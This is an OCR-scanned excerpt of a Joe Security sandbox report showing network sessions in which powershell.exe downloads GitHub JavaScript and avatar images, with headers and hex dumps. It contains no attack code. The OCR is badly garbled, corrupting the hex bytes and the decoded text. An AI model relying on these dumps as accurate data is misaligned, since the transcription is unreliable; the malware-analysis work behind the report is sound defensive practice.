86 fe dd 41 b6 6b 45 5¢ 8b df 90 8a c7 ef ee 5¢ 13 4a cb 8e e3 fc 08 00 20 89 18 5f 38 ¢8 d6 3 fd 9f cf cc cd 6d Ob 3a 32
13 fc 76 18 e3 ed c3 c8 73 2b bb 98 67 a3 15 3d 6 4c €9 1d b9 2c ch 97 84 62 b5 06 a8 8a 72 d4 78 04 01 48 4a a2 b8 6b
18 79 6e €5 11 39 95 71 Oa ac Ob 12 da 8e fd 62 a9 5c fe 6d 08 al d2 3a 23 44 39 3f 95 48 dc 09 21 4c le ab eb 3c b3 58
2c ec ab 84 ea 99 74 fa 6e 55 51 f6 88 18 9f bb 36 7a

Data Ascii: }X4v"'DQ"KLYg">WA_ Xa~/);"c|!f=GInla?>!3m?%X}u!Q)AKE\J _8m:2vs+g=L,brxHJIkyn9gb\m:#D9?H!L
<X,tnUQ6z

Destination
Destination IP Process
Port

185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /assets/github-elements-29d8293f1694.js HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 643

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Cache-Control: public, max-age=31536000

Last-Modified: Fri, 15 Apr 2022 12:58:26 GMT

ETag: "977bd6cObaeb75d845e5ac3503124d54"

Content-Type: application/javascript

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Age: 432243

X-Served-By: cache-iad-kiad7000144-IAD, cache-mxp6929-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 2, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 1cd06ff8a496617af57e1b6d152fe1b85ae49ec2

Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 28 29 3d 3e 7b 76 61 72 20 4f 3d 4f 62 6a 65 63 74 2e 64 65 66 69
6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 6¢ 3d 28 74 2c 65 29 3d 3e 4f 28 74 2c¢ 22 6e 61 6d 65 22 2¢ 7b 76 61 6¢
75 65 3a 65 2c 63 6f 6e 66 69 67 75 72 61 62 6¢ 65 3a 21 30 7d 29 3b 28 67 6¢ 6f 62 61 6¢ 54 68 69 73 2e 77 65 62 70
61 63 6b 43 68 75 6e 6b 3d 67 6¢ 6f 62 61 6C 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6€ 6b 7C 7c 5b 5d 29 2e 70 7
573 68 28 5b 5b 37 31 33 39 5d 2¢ 7b 31 32 30 37 30 3a 28 74 2c 65 2c 5f 29 3d 3e 7b 76 61 72 20 45 3d 5f 28 36 36 36
38 31 29 2c 6e 3d 5f 28 33 38 32 35 37 29 2¢ 61 3d 5f 28 31 34 38 34 30 29 2c 4d 3d 5f 28 35 37 32 36 30 29 2c 44 3d 5f
28 31 33 30 30 32 29 2c 50 3d 5f 28 37 33 39 32 31 29 2c 6d 3d 5f

Data Ascii: "use strict";(()=>{var O=0Object.defineProperty;var |=(t,e)=>0(t,"name" ,{value:e,configurable:!0});(globalThi
s.webpackChunk=globalThis.webpackChunk||[]).push([[7139],{12070:(t,e,_)=>{var E=_(66681),n=_(38257),a=_(14840)
,M=_(57260),D=_(13002),P=_(73921),m=_

Destination IP Destination Process
Port
185.199.108.133 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data
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kBytes

Timestam
P transferred

2022-04-20 13:07:37 UTC 1168

2022-04-20 13:07:37 UTC 1239

2022-04-20 13:07:37 UTC 1240

2022-04-20 13:07:37 UTC 1241

2022-04-20 13:07:37 UTC 1242

Session ID Source IP

26 192.168.2.4
. kBytes

Timestamp transferred

2022-04-20 13:07:37 UTC 1245

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49780

Direction

ouT

Data

GET /kubernetes?s=64&v=4 HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: avatars.githubusercontent.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 3948

Cache-Control: max-age=300

Content-Security-Policy: default-src 'none’

Content-Type: image/png

ETag: "1548a00aadad978610a7a57e06e3ae7dc0dcc6236aec6bf5f19444bae227d7d4"
Last-Modified: Tue, 04 Aug 2015 01:25:25 GMT
Strict-Transport-Security: max-age=31557600
timing-allow-origin: https://github.com
X-Content-Type-Options: nosniff

X-Frame-Options: deny

X-XSS-Protection: 1; mode=block

X-GitHub-Request-Id: F126:11D0B:8B27B:96799:625E2CBE
Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Via: 1.1 varnish

X-Served-By: cache-mxp6940-MXP

X-Cache: HIT

X-Cache-Hits: 2

X-Timer: S1650460057.185546,VS0,VEQ
Access-Control-Allow-Origin: *

X-Fastly-Request-1D: 3040117da3388536533f5dafdbac743ab8426ccl
Expires: Wed, 20 Apr 2022 13:12:37 GMT

Source-Age: 121051

Vary: Authorization,Accept-Encoding

Data Raw: 89 50 4e 47 0d Oa 1a 0a 00 00 00 Od 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00

0f 33 49 44 41 54 78 9c e4 5b 79 74 53 d7 99 ff 69 7f 5a 2d Ob 2f 92 ¢1 60 30 c6 c6 60 6¢ bc b2 27 01 8a 19 18 b6 52 86
34 34 cc 84 14 9a a4 10 42 €9 14 26 6d 93 76 Oe 43 4e 66 92 43 08 74 48 1a 08 09 90 06 5a 26 09 84 84 e2 60 5¢ 96 e0
828331 ¢l 18 b3 d8 78 01 db f2 26 d9 92 ad 5d 9a 73 9f 6¢ ed 92 f5 64 3b fd 23 bf 73 de f1 f3 7b {7 7d {7 fb be fb dd 6f
b9 {7 8a 8d ef 39 be 7 0a e0 fe c3 7a 66 71 40 c9 c7 51 e4 d6 a8 ad 35 c2 61 fb 87 b0 f1 9d 2b 80 43 45 73 e3 a6 ac fb 97
98 8¢ b5 9b 78 a2 d8 7c f2 cc d2 d3 7a a5 ad 2 dO 9e b6 6f Of fe c5 66 d4 58 bf 4b 7e 58 df 55 47 5¢ 51 1c 3f 2e 6b c3 da
b8 29 cf 6¢ 67 f3 84 c9 81 da d8 2c bd 35 6d df 1e 7c

Data Ascii: PNGIHDR@@iq3IDATX[ytSiZ-/" 0 'R44B&mvCNfCtHZ& \1x&]sld;#s{}09zfq@Q5a+CEsx|zofXK~XUG\Q?.k
)lg,5m|

Data Raw: fe 6¢ 98 2c¢ c0 9e cf 75 d8 7e b0 d3 ef 5d 8b c6 8a 6d ef 6b c3 15 de d9 47 10 99 02 2a 40 ac ca Ob 39 ff 03 al
d5 47 01 24 ae 93 e9 31 2a 26 b0 03 Oc 66 01 9e 48 8a e3 60 dd 02 89 df f3 €6 4e 1b e3 e4 49 12 44 26 3f 05 b0 b9 22
96 30 26 7d 1a 13 e2 8b f3 28 a4 8f e6 fb 3d 27 4e f0 4f bf 8a c1 92 02 al d7 73 32 7d c4 1e a3 4e ee 1d 3e 12 ad 9c 29
€2 91 5f ¢5 60 62 a2 3f dd a9 c9 02 2¢ 98 ca 6¢ €9 41 18 33 69 3a 91 cd {7 b9 9f 02 44 f1 99 e9 6¢ Oe 2f ec a5 2c 42 f1 99
05 52 d7 ff b5 cd 16 fc bd da ed 6b 88 70 bf 5b 23 ¢7 eb cf ¢8 21 13 79 8e ba db 32 24 94 fb 3e 5a c2 c6 ae f5 d1 78 79 75
14 9d 25 f6 €3 62 a5 11 8d 6d ee 58 bb ae d0 df 32 42 81 ¢8 24 8a 9b 32 d1 ef b9 ef 03 89 aa 80 91 f9 93 f0 44 3¢ 72 3f f6
7d alc3e6 77 3b 51 54 ee ed 99 e7 4f 15 e2 e8

Data Ascii: |,u~]mkG*@9G$1*&fH NID&?"0&}='NOs2}N>)_"b?,IA3i:DI/,BRKp[#ly2$>Zxyu%bmX2B$2D<r?}w;QTO

Data Raw: f1 b0 65 b9 db 77 d4 34 59 70 fc 52 64 47 87 1c Oe 87 a9 a5 6¢ d7 2b fd ff bb 3c 98 b1l f3 ee 23 8e 20 4a 23 56
66 2f 62 4c 14 40 45 8d 19 4b a6 09 c1 €3 b0 e8 d5 a0 c7 a7 50 b8 55 6f c1 a3 Oe 1b 3d 37 49 39 dc 8f ff 39 de 8d 5b 0d
6e 2f 4d ea 04 8d de 86 b9 99 ce 36 02 1e 8b 56 12 69 93 91 c4 c3 ee 9f 29 20 ea 5b 41 22 d1 85 94 db c4 e3 47 82 d6

1b fb 37 b7 55 bc 77 c2 4f 01 04 ba 87 97 ca a4 89 b3 53 f8 d2 84 29 4c 09 6b 7b 1c 78 d8 66 c3 dc a9 42 7a be f2 b8 2c
2ccc 11 ¢l 64 71 d0 49 cc 08 99 b3 ab fb 4d 16 ec fc b3 ff 79 27 12 39 1e cb a0 e8 c4 87 40 a5 e0 c0 ee 70 60 e7 bf b9
85 27 f8 af a3 5a 7c 5d 15 d9 09 3a 7d 53 d9 el fa a2 8d 2f d3 5e bd 0f de 79 aa c3 8e ee fa 92 d3 d1 29 cb 16 72 f8 92 9C
bb aa 81 50 d3 62 85 56 67 c7 8¢ 49 14 ad 04 62 09 d3

Data Ascii: ew4YpRdAGI+<# J#VibL@EKPU0=7199[n/M6Vi) [A"G7UwOS)Lk{xBz,,dqIMy'9@p ‘Z|]:}S/"y)rPbVglb

Destination IP Destination Process

Port
185.199.108.133 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Data

GET /apple?s=64&v=4 HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: avatars.githubusercontent.com

Connection: Keep-Alive
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kBytes

Timestam
P transferred

2022-04-20 13:07:37 UTC 1245

2022-04-20 13:07:37 UTC 1246

Session ID Source IP
27 192.168.2.4
. kBytes
Timestam
P transferred

2022-04-20 13:07:37 UTC 1245

2022-04-20 13:07:37 UTC 1248

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49781

Direction

ouT

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 1338

Cache-Control: max-age=300

Content-Security-Policy: default-src 'none’

Content-Type: image/jpeg

ETag: "4d6604e3634bc3ecel3cc38675ef526b37ch424afelba7dlea3b450cbb5680c7"
Last-Modified: Tue, 08 Jun 2021 18:27:23 GMT
Strict-Transport-Security: max-age=31557600
timing-allow-origin: https://github.com

X-Content-Type-Options: nosniff

X-Frame-Options: deny

X-XSS-Protection: 1; mode=block

X-GitHub-Request-ld: DF04:4DE4:2EBE53:30F1FD:6254EBF2
Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Via: 1.1 varnish

X-Served-By: cache-mxp6955-MXP

X-Cache: HIT

X-Cache-Hits: 5

X-Timer: S1650460057.225789,VS0,VEQ
Access-Control-Allow-Origin: *

X-Fastly-Request-ID: dd851ad59920404a04579be51a0e40ac7871c6e9
Expires: Wed, 20 Apr 2022 13:12:37 GMT

Source-Age: 727462

Vary: Authorization,Accept-Encoding

Data Raw: ff d8 ff db 00 84 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a Oc 14 0d Oc Ob Ob Oc 19 12 13 0f 14 1d 1a 1f 1e
1d 1a 1c 1c 20 24 2e 27 20 22 2¢ 23 1c 1c 28 37 29 2¢ 30 31 34 34 34 1f 27 39 3d 38 32 3¢ 2e 33 34 32 01 09 09 09 Oc
0b Oc 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
32323232 323232323232 3232323232 323232323232 ffcO 00 11 08 00 40 00 40 03 01 22 00 02 11 01 03 11
01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a Ob 10 00 02 01 03 O
302 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 al 08 23 42 bl
11552 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a

Data Ascii: $.' ",#(7),01444'9:82<.3422!|77?7??7?77777??7?7??7777?7?77?777?7??77?77777??7??@@")!lAQ
a"q2#BR$3br%6&!()*

Destination IP Desasaton Process

Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Data

GET /assets/element-registry-d86468692d21.js HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 5350

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Cache-Control: public, max-age=31536000

Last-Modified: Fri, 15 Apr 2022 12:58:21 GMT

ETag: "d68b22d7911e74d35764ac9f6d9a2a37"

Content-Type: application/javascript

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Age: 432242

X-Served-By: cache-iad-kjyo7100038-1AD, cache-mxp6949-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 695453cf70c20ce9ff6e1b592e21bddb07d825d0
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kBytes

Timestam
P transferred

2022-04-20 13:07:37 UTC 1249

2022-04-20 13:07:37 UTC 1250

2022-04-20 13:07:37 UTC 1251

2022-04-20 13:07:37 UTC 1253

Session ID Source IP
28 192.168.2.4
. kBytes
Tim m|
imestamp transferred

2022-04-20 13:07:37 UTC 1248

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49782

Direction

ouT

Data

Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 28 29 3d 3e 7b 76 61 72 20 78 3d 4f 62 6a 65 63 74 2e 64 65 66
69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 68 3d 28 64 2c 6d 29 3d 3e 78 28 64 2c 22 6e 61 6d 65 22 2¢c 7b 76 61
6¢c 75 65 3a 6d 2c 63 6f 6e 66 69 67 75 72 61 62 6¢ 65 3a 21 30 7d 29 3b 28 67 6¢ 6f 62 61 6¢ 54 68 69 73 2e 77 6562 7
061 63 6b 43 68 75 6e 6b 3d 67 6¢ 6f 62 61 6¢ 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70
75 73 68 28 5b 5b 38 37 37 5d 2c 7b 37 37 34 30 31 3a 28 64 2c 6d 2c 6e 29 3d 3e 7b 63 6f 6e 73 74 20 6f 3d 6e 65 77
20 4d 61 70 2c 66 3d 6e 65 77 20 57 65 61 6b 4d 61 70 3b 66 75 6e 63 74 69 6f 6e 20 50 28 73 3d 64 6f 63 75 6d 65 6e
74 2e 62 6f 64 79 29 7b 63 61 6e 63 65 6¢ 41 6e 69 6d 61 74 69 6f 6 46

Data Ascii: "use strict";(()=>{var x=0bject.defineProperty;var h=(d,m)=>x(d,"name" {value:m,configurable:!0});(globalThi
s.webpackChunk=globalThis.webpackChunk||[]).push([[877],{77401:(d,m,n)=>{const o=new Map,f=new WeakMap;function
P(s=document.body){cancelAnimationF

Data Raw: 33 39 29 5d 29 2e 74 68 65 6e 28 6e 2e 62 69 6e 64 28 6e 2c 33 39 30 33 39 29 29 29 2¢ 74 28 22 63 6f 6d 6d
61 6e 64 2d 70 61 6¢ 65 74 74 65 2d 70 6a 61 78 2d 6d 65 74 61 64 61 74 61 22 2¢c 28 29 3d 3e 6e 2e 65 28 32 38 30 29
2e 74 68 65 6e 28 6e 2e 62 69 6e 64 28 6e 2c 38 30 32 38 30 29 29 29 2c 74 28 22 72 65 61 64 6d 65 2d 74 6f 63 22 2¢
28 29 3d 3e 6e 2e 65 28 31 34 31 36 29 2e 74 68 65 6e 28 6e 2e 62 69 6e 64 28 6e 2c 36 31 34 31 36 29 29 29 2¢c 74 28
22 64 65 6¢ 61 79 65 64 2d 6¢ 6f 61 64 69 6e 67 22 2¢ 28 29 3d 3e 6e 2e 65 28 36 39 37 30 29 2e 74 68 65 6e 28 6e 2e
62 69 6e 64 28 6e 2c 36 39 37 30 29 29 29 2c 74 28 22 66 65 61 74 75 72 65 2d 63 61 6¢ 6C 6f 75 74 22 2¢ 28 29 3d 3e
6e 2e 65 28 37 39 38 36 29 2e 74 68 65 6e 28 6e 2e 62 69 6e 64 28 6e 2c

Data Ascii: 39)]).then(n.bind(n,39039))),t("command-palette-pjax-metadata”,()=>n.e(280).then(n.bind(n,80280))),t(“readme
-toc",()=>n.e(1416).then(n.bind(n,61416))),t("delayed-loading",()=>n.e(6970).then(n.bind(n,6970))),t("feature-callout",(
)=>n.e(7986).then(n.bind(n,

Data Raw: 75 65 72 79 22 2c 28 29 3d 3e 6e 2e 65 28 35 34 35 34 29 2e 74 68 65 6e 28 6e 2e 62 69 6e 64 28 6e 2c 37
3534 3534 29 29 29 2c 74 28 22 72 65 6d 6f 74 65 2d 63 6¢ 69 70 62 6f 61 72 64 2d 63 6f 70 79 22 2c 28 29 3d 3e 50 72
6f 6d 69 73 65 2e 61 6¢ 6¢ 28 5b 6e 2e 65 28 35 37 32 34 29 2¢ 6e 2e 65 28 32 39 36 29 5d 29 2e 74 68 65 6e 28 6e 2e
62 69 6e 64 28 6e 2c 35 30 32 39 36 29 29 29 2c 74 28 22 73 65 72 69 65 73 2d 74 61 62 6¢ 65 22 2c 28 29 3d 3e 6e 2e
65 28 34 39 32 32 29 2e 74 68 65 6e 28 6e 2e 62 69 6e 64 28 6e 2c 31 34 39 32 32 29 29 29 2c 74 28 22 6¢ 69 6e 65 2d
63 68 61 72 74 22 2c 28 29 3d 3e 50 72 6f 6d 69 73 65 2e 61 6¢ 6¢ 28 5b 6e 2e 65 28 31 34 33 39 29 2c 6e 2e 65 28 34
36 36 38 29 5d 29 2e 74 68 65 6e 28 6e 2e 62 69 6e 64 28 6e 2c 39 34 36

Data Ascii: uery",()J=>n.e(5454).then(n.bind(n,75454))),t(“remote-clipboard-copy”,()=>Promise.all([n.e(5724),n.e(296)]).t
hen(n.bind(n,50296))),t("series-table",()=>n.e(4922).then(n.bind(n,14922))),t("line-chart",()=>Promise.all([n.e(1439),n.
e(4668)]).then(n.bind(n,946

Data Raw: 65 28 34 35 39 38 29 2c 6e 2e 65 28 35 36 37 30 29 2c 6e 2e 65 28 36 34 30 31 29 5d 29 2e 74 68 65 6e 28
6e 2e 62 69 6e 64 28 6e 2c 33 36 34 30 31 29 29 29 2c 74 28 22 74 72 61 66 66 69 63 2d 63 6¢ 6f 6 65 73 2d 67 72 61
70 68 22 2c 28 29 3d 3e 50 72 6f 6d 69 73 65 2e 61 6¢ 6¢ 28 5b 6e 2e 65 28 35 37 32 34 29 2¢c 6e 2e 65 28 32 31 38 29 2
c 6e 2e 65 28 34 35 39 38 29 2c 6e 2e 65 28 31 38 38 36 29 2c 6e 2e 65 28 33 30 31 30 29 5d 29 2e 74 68 65 6e 28 6e
2e 62 69 6e 64 28 6e 2¢ 33 33 30 31 30 29 29 29 2c 74 28 22 74 72 61 66 66 69 63 2d 76 69 73 69 74 6f 72 73 2d 67 72
61 70 68 22 2c 28 29 3d 3e 50 72 6f 6d 69 73 65 2e 61 6¢ 6¢ 28 5b 6e 2e 65 28 35 37 32 34 29 2c 6e 2e 65 28 32 31 38
29 2c 6e 2e 65 28 34 35 39 38 29 2c 6e 2e 65 28 31 38 38 36 29 2c 6e 2e 65

Data Ascii: €(4598),n.e(5670),n.e(6401)]).then(n.bind(n,36401))),t("traffic-clones-graph",()=>Promise.all([n.e(5724),n.e
(218),n.e(4598),n.e(1886),n.e(3010)]).then(n.bind(n,33010))),t("traffic-visitors-graph”,()=>Promise.all([n.e(5724),n.e(2
18),n.e(4598),n.e(1886),n.e

Destinati
Destination IP Esnation Process

Port
185.199.108.133 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /ansible?s=64&v=4 HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: avatars.githubusercontent.com

Connection: Keep-Alive
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kBytes

Timestam
P transferred

2022-04-20 13:07:37 UTC 1254

2022-04-20 13:07:37 UTC 1255

2022-04-20 13:07:37 UTC 1256

Session ID Source IP
29 192.168.2.4
. kBytes
Tim m|
imestamp transferred

2022-04-20 13:07:37 UTC 1254

2022-04-20 13:07:37 UTC 1257

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49783

Direction

ouT

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 1721

Cache-Control: max-age=300
Content-Security-Policy: default-src 'none’
Content-Type: image/png

Last-Modified: Sat, 25 Jan 2014 21:14:17 GMT
Strict-Transport-Security: max-age=31557600
timing-allow-origin: https://github.com
X-Content-Type-Options: nosniff
X-Frame-Options: deny

X-XSS-Protection: 1; mode=block
X-GitHub-Request-Id: B800:EC79:11854F:12120D:6260048A
Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Via: 1.1 varnish

X-Served-By: cache-mxp6976-MXP

X-Cache: HIT

X-Cache-Hits: 2

X-Timer: S1650460057.271860,VS0,VEQ
Access-Control-Allow-Origin: *
X-Fastly-Request-ID: 9ff378a87f34f607dd667836f7504e1968d9aea5
Expires: Wed, 20 Apr 2022 13:12:37 GMT
Source-Age: 270

Vary: Authorization,Accept-Encoding

Data Raw: 89 50 4e 47 0d Oa 1a 0a 00 00 00 Od 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00
00 09 70 48 59 73 00 00 Oe c4 00 00 Oe c4 01 95 2b Oe 1b 00 00 06 6b 49 44 41 54 78 da ed 5b 5f 68 53 57 18 ff €5 af a5
36 b6 54 94 34 44 c1 da 87 a9 5b 9d 22 6e 48 08 28 b2 ce a7 aa al 55 c6 52 86 d8 10 7c d8 53 f1 41 a8 5a e6 a8 65 88
14 2d 73 2a 84 b1 07 a9 a5 6e c2 d6 38 da 12 70 dd c3 b0 2f a3 9d 22 dd 2a d8 3f d1 4a 17 63 17 6d 6e 9a 7c 7b e8 cd b
5 a7 4d 6e 93 9b 73 da 74 dd 07 1f 24 7 9e 7b ce 9 fd ce 39 df 39 df 39 df 01 56 b7 58 5 ab 9c 00 18 97 b1 6¢ 33 80 02
9 £7 34 00 €9 bf 4a c0 46 00 Oe 00 1f 00 78 17 40 39 00 1b 80 22 00 c9 1e 98 00 f0 Of 80 71 00 c3 00 06 01 fc 06 a0 Of cO
c4 4aec 59 76 00 a7 65 10 71 00 a4 51 e3 72 1e a7 e5 3c b9

Data Ascii: PNGIHDR@@igpHYs+kIDATx[_hSW6T4D['nH(UR|SAZe-s*n8p/"*?Jcmn|{Mnst${999VXI34IFx@9"qJYveqQr<

Data Raw: 8f 44 22 Ob 08 78 fO e0 81 96 fc 2e 65 73 2e b0 39 db 63 31 97 cb b5 c0 f8 a5 73 7b b3 d1 dd bb 77 33 ab 42
22 a2 8989 09 2d c7 63 9b b3 3d 1b fc 3a 9b 42 7a 7a 7a 34 1b bf c5 74 c3 86 0d 4c fe 4d 4d 4d d9 e6 d1 a6 e5 70 d4 9a
8d 2d 28 28 28 60 34 95 97 97 eb be a2 c3 el a0 9d 3b 77 6a 99 fa 36 6a 3d 1e 3f b5 02 23 43 e6 ab 37 97 f8 00 bd ec 3c
ac 54 f0 dd 78 1b 90 ad 39 46 ¢8 2e fb dO 2b 0d 7c 10 b3 51 €9 5¢ 82 a4 9c a2 82 25 04 1e 84 3a 78 87 ¢9 7d 22 2a 66
4040 2c c0 71 51 81 92 27 f2 9¢ 84 38 b2 Ob 99 d5 14 2a 7b 1c f9 15 27 3¢ b7 db d7 66 89 45 73 b0 f4 3e 00 63 79 04 7e
Oc da 2e 52 e4 14 2e 6f 05 e0 cf 03 fO 3f €5 00 24 e7 Ob 13 7a d9 2e bc 58 06 e0 2f e4 f1 ae cf bl 11 b9 48 29 66 a3 b4
23 4b 00 3¢ 22 97 c5 e3 18 8f fb a5 a9 8d 98 8d 2a 1f 13 34

Data Ascii: D"x.es.9¢c1s{w3B"-c=:Bzzz4tLMMMp-((("4;wj6j=?#C7<Tx9F.+|Q\%:x}"*f@@,qQ'8*{'<fEs>cy~.R.0?$z. X/H)f#K<
g

i Destination
Destination IP Process
Port

185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /assets/5724-640299416084.js HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 10679

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Cache-Control: public, max-age=31536000

Last-Modified: Wed, 30 Mar 2022 04:02:17 GMT

ETag: "0e88155efbf951721b1771629eec97f8"

Content-Type: application/javascript

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Age: 1846929

X-Served-By: cache-iad-kjyo7100109-1AD, cache-mxp6937-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 6c7de9e83bd61bb17379745e8d0c2873a594dd27
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kBytes

Timestamp transferred Direction
2022-04-20 13:07:37 UTC 1257 IN
2022-04-20 13:07:37 UTC 1259 IN
2022-04-20 13:07:37 UTC 1260 IN
2022-04-20 13:07:37 UTC 1262 IN
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2022-04-20 13:07:37 UTC 1266 IN
2022-04-20 13:07:37 UTC 1267 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 28 29 3d 3e 7b 76 61 72 20 61 65 3d 4f 62 6a 65 63 74 2e 64 65
66 69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 73 3d 28 56 2¢ 54 29 3d 3e 61 65 28 56 2c 22 6e 61 6d 65 22 2c 7b
76 61 6¢ 75 65 3a 54 2c 63 6f 6e 66 69 67 75 72 61 62 6¢ 65 3a 21 30 7d 29 3b 28 67 6¢ 6f 62 61 6¢ 54 68 69 73 2e 77 6
562 70 61 63 6b 43 68 75 6e 6b 3d 67 6¢ 6f 62 61 6¢ 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7C 7c 5b 5d 29
2e 70 75 73 68 28 5b 5b 35 37 32 34 5d 2c 7b 36 34 34 36 33 3a 28 56 2c 54 2¢ 42 29 3d 3e 7b 42 2e 64 28 54 2¢c 7b 4e
37 3a28293d3e 7265 7d293b 7661722077 3d 42 28 38 34 33 39 29 2c 4d 3d 6e 75 6¢ 6¢ 2c 52 3d 6e 75 6¢ 6¢ 2C
5f 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 50 28 65 2¢ 74 29 7b 76 61 72

Data Ascii: "use strict";(()=>{var ae=Object.defineProperty;var s=(V,T)=>ae(V,"name" {value:T,configurable:!0});(globalT
his.webpackChunk=globalThis.webpackChunk||[]).push([[5724],{64463:(V, T,B)=>{B.d(T {N7:()=>re});var w=B(8439),M
=null,R=null,_=[];function P(e,t){var

Data Raw: 66 28 65 2e 69 64 29 3d 3d 3d 2d 31 29 7b 65 2e 65 6¢ 65 6d 65 6e 74 73 2e 70 75 73 68 28 74 29 3b 76 61
72 2069 3d 45 2e 67 65 74 28 74 29 2c 72 3d 69 3f 69 5b 22 22 2b 65 2e 69 64 5d 3a 6e 75 6¢ 6¢ 3b 69 66 28 72 26 26
72 2e 61 64 64 26 26 72 2e 61 64 64 2e 63 61 6¢ 6¢ 28 76 6f 69 64 20 30 2¢ 74 29 2c 65 2e 73 75 62 73 63 72 69 62 65 2
